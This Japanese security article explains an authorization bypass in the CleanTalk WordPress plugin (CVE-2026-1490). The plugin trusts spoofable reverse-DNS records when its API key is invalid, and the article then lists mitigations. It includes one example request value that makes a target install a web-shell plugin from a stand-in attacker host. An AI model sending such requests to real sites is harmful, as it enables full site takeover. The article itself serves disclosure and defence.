CleanTalk WordPress プラグインに重大な脆弱性（CVE-2026-1490）、20万サイトが攻撃リスクに

CleanTalk は、コメント投稿や問い合わせフォーム、ユーザー登録を悪用したスパム行為を防止するためのSaaS型アンチスパムサービスです。WordPress.org の公式リポジトリでは20万以上のサイトに導入されており、企業サイトやブログ、会員制サイトなど、多様な用途で利用されています。

CleanTalk は本来、有効なAPIキーを用いて外部の CleanTalk サーバーと通信する仕組みになっています。しかし、今回の脆弱性は「APIキーが無効な状態」において発生するもので、この点が特に注意すべきポイントとなっています。

今回の脆弱性が深刻である理由は、CleanTalk の「信頼できる送信元判定」に設計上の問題があったためです。APIキーが無効だった場合、CleanTalk は checkWithoutToken という関数を利用して送信元の識別を行います。この関数は、リクエスト元IPアドレスの逆引きDNS（PTRレコード）が cleantalk.org を返すかどうかで正規のアクセスかどうかを判断します。しかし、逆引きDNSの結果は攻撃者が偽装できる場合があり、環境によっては比較的容易に成り済ましが可能です。

具体的には以下の通りです。

APIキーが無効な状態になると、CleanTalk プラグインは署名検証が行えず、代わりに「送信元IPの逆引きDNS（PTR）」を使って正規サーバーかどうかを判断しようとします。ここで攻撃者のやることは非常にシンプルで、自分が所有するVPSなどのIPアドレスをひとつあれば攻撃に移れるわけです。PTRレコードはIPアドレスの所有者が自由に書き換えられるため、攻撃者は自分のIPアドレスの逆引きを cleantalk.org に偽装しておくだけで準備が完了します。

プラグインは送信元のPTRを取得し、それが cleantalk.org であれば正規リクエストだと判断します。例えば、攻撃者が以下のように設定していた場合、

WordPress側の CleanTalk のプラグインは、「68.124.45.22のIPアドレスは、cleantalk.org. である」という風に本気で信じてしまいます。本来、PTRレコードは所有者が自由に書き換えられるため、ここに記載の名前は信頼性の根拠には全くなりませんが、CleanTalk はこの結果を鵜呑みにしてしまう設計になっていたという脆弱性です。

PTRの偽装により WordPress が攻撃者を CleanTalk の正規サーバーであると信じ込んでいるため、攻撃者は次に、シェルコマンドや Burp Suite といったプロキシーツールを用いて、ターゲットサイトのURLに対して以下のような不正なPOSTリクエストを送信します。

といった形で、CleanTalk が内部で利用しているプラグインインストール用のAjaxエンドポイントへリクエストを送信します。POSTの本文には、次のような命令が含まれています。

例）plugin_url=https://evilserver.com/shell-plugin.zip

あくまで一例ですが、これは「このURLにあるZIPファイル（＝攻撃者の用意した不正なもの）をダウンロードし、インストールしてほしい」という指示にあたります。

攻撃者はこうしたプラグインをインストールし、Webシェルの設置やユーザー権限の乗っ取り、テーマ改ざんなどを行うことで、最終的にサイト全体の完全な制御を奪うことができてしまいます。CVSSスコアが9.8と非常に高く評価されたのは、ネットワーク越しに攻撃でき、特別な権限もユーザー操作も不要で、機密性・完全性・可用性に重大な影響を与えるためであると推測されます。

今回の脆弱性は、CleanTalk を利用している全てのサイトに影響が及ぶわけではありません。攻撃が成立する条件として特に重要なのは、CleanTalk のAPIキーが無効になっている、あるいは設定が不適切なまま放置されている状態です。APIキーが有効である場合、この認可バイパスは発生しないため、まず自社の環境がどの状態に当てはまるかを把握することが第一歩となります。

こうしたAPIキーの更新漏れや設定不備は、中小企業のサイト運用で頻繁に見られます。問い合わせフォームや小規模ECサイト、広報用ブログなどに CleanTalk が導入されているケースは多く、継続的にAPIステータスを確認していない環境ではリスクが高まります。「普段アクセスしない管理画面で警告に気づかない」「担当者変更でAPI更新の引き継ぎが行われていない」といった状況が攻撃成功の要因になりかねません。

そのため、CleanTalk を利用しているサイト管理者は、以下の対策を優先度順に実施することが推奨されます。

具体的には以下の通りです。

今回の脆弱性は 6.71 以前のバージョンに存在しており、最新版へ更新することで修正が適用されます。まずは使用中のバージョンを確認し、早急にアップデートを行う必要があります。

APIキーが失効したまま運用している場合、今回の脆弱性の発現条件に該当してしまいます。CleanTalk の管理画面でステータスを確認し、期限切れ・設定漏れがないか定期的にチェックすることが不可欠です。

今回の脆弱性の本質は「任意プラグインのインストールを許してしまう点」にあります。見覚えのないプラグインが存在する場合、すでに侵害が進んでいる可能性があるため、プラグイン一覧は必ず確認すべきです。

プラグインの管理を怠ると、脆弱性が混在するリスクが高まり、攻撃対象領域も広がります。不要なプラグインの削除と定期更新は、WordPress サイト全体の安全性維持に直結します。

侵害の検知や攻撃の可視化に有効なセキュリティプラグインの導入は有益ですが、これらも更新を怠ると逆に弱点となります。導入する場合は、CleanTalk と同様にバージョン管理を徹底し、本末転倒な事態を避ける必要があります。